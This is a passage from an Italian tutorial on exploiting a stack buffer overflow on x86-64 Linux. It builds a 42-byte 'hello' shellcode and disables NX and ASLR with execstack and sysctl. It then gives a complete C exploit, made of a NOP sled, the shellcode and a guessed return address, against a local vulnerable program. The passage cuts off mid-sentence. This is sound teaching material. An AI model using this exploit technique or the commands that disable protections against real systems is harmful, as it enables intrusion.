Creato l'eseguibile, estraiamo automaticamente lo shellcode:

objdump -d ./hello|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

e otteniamo i nostri 42 byte di shellcode:

"\xeb\x1e\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\xb0\x01\x40\xb7\x01\x5e\xb2\x05\x0f\x05\x31\xc0\xb0\x3c\x31\xdb\x0f\x05\xe8\xdd\xff\xff\xff\x68\x65\x6c\x6c\x6f"

 

3. L'exploit

Ora che abbiamo il nostro shellcode, dobbiamo trovare un modo per farlo eseguire dal programma vulnerabile.

3.1. Disabilitare le protezioni di sicurezza del sistema

Per evitare che i malintenzionati possano facilmente sfruttare delle vulnerabilità nei nostri programmi per danneggiare i nostri sistemi, il kernel Linux implementa la protezione della memoria NX sui processori x86-64. L'NX bit si assicura che solo le istruzioni contenute in particolari sezioni di memoria possano essere eseguite. Questo ovviamente impedisce attacchi basati sul buffer overflow. Può tuttavia capitare che alcuni programmi richiedano uno stack eseguibile, pertanto questa protezione può essere disabilitata dal proprietario del programma. Nel nostro caso, dove siamo padroni del nostro sistema e non abbiamo cattive intenzioni, possiamo facilmente farlo.

L'istruzione execstac marchia un eseguibile come necessitante di stack eseguibile.

execstack -s ./hello

 

Un ulteriore protezione contro i buffer overflow viene fornita dall'ASLR (Address Space Layout Randomization). L'ASLR carica in memoria programmi e librerie ad indirizzi casuali. Questo rende molto difficile ad un attaccante indovinare la posizione dell'obbiettivo.

Nel nostro caso disabiliteremo questa protezione.

sudo sysctl -w kernel.randomize_va_space=0

in seguito, per ripristinare la protezione

sudo sysctl -w kernel.randomize_va_space=3

 

3.2. Sovrascrivere l'indirizzo di ritorno

Cerchiamo di scoprire la lunghezza minima della stringa da passare al programma vulnerabile per sovrascriverne l'indirizzo di ritorno.

vuln.jpg

 

In questo caso il 121° byte (non dimentichiamo il byte nullo al termine della stringa), sovrascrive l'indirizzo di ritorno. Quando il processore cerca di accedere ad un indirizzo non valido, il programma va in crash.

Questa informazione ci è molto utile. Ora infatti sappiamo che il nostro indirizzo di ritorno deve essere piazzato 120 byte più in avanti rispetto all'inizio del buffer.

3.3. L'exploit

La stringa che inviamo al programma vulnerabile deve contenere lo shellcode e l'indirizzo della prima istruzione della shellcode (che dovrà sovrascrivere l'indirizzo di ritorno).

Siccome non conosciamo l'indirizzo in memoria del buffer, dovremo fare alcuni tentativi per indovinarlo.

Se inseriamo prima della shellcode un certo numero di byte NOP, possiamo accontentarci di un'approssimazione del giusto indirizzo. Infatti un'istruzione 0x90 (No Operation) fa semplicemente scivolare l'esecuzione all'istruzione successiva. Se il nostro nuovo indirizzo di ritorno punta ad un qualsiasi byte della sezione NOP del nostro exploit, l'esecuzione scivolerà fino alla prima istruzione dello shellcode.

Il nostro shellcode occupa 42 byte. L'indirizzo di ritorno deve partire dal 120° byte.

120-42=78

Se scriviamo 78 NOP seguiti dallo shellcode e dall'indirizzo di ritorno, l'indirizzo di ritorno verrà scritto nel posto giusto. Questa sarà la struttura della stringa che passeremo al programma vulnerabile.

Ora scriviamo il programma che creerà la stringa ed eseguirà l'exploit.

Per indovinare l'indirizzo del buffer del programma vulnerabile, partiamo dall'indirizzo del programma che lo esegue, e gli sottaiamo un offset.

Ecco il codice:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "\xeb\x1e\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\xb0\x01\x40\xb7\x01\x5e\xb2\x05\x0f\x05\x31\xc0\xb0\x3c\x31\xdb\x0f\x05\xe8\xdd\xff\xff\xff\x68\x65\x6c\x6c\x6f";

int main(int argc, char *argv[])
{
	long long ret;
	unsigned int i, *ptr, offset=270;
	char *command, *buffer;

	command=(char *)malloc(134);
	bzero(command, 134);
	strcpy(command, "./vuln '");

        buffer = command + strlen(command);

	if(argc>1)

		offset=atoi(argv[1]);

	ret=(long long) &i - offset;

	memset(buffer, 0x90, 78);
	memcpy(buffer+78, shellcode, sizeof(shellcode)-1);

	*((long long *)(buffer+78+sizeof(shellcode)-1))=ret;

	strcat(command, "'");	

	system(command);
   	free(command);

}

Compiliamo

il programma ed eseguiamolo provando diversi offset. Quando indovineremo quello giusto, vedremo il nostro programma vulnerabile stampare sullo schermo la stringa hello.

 

Di nuovo, il perl ci risparmierà un po' di tempo.

DONEIT.jpg

Funziona.

Gli offset 60, 90 e 120 riportano l'esecuzio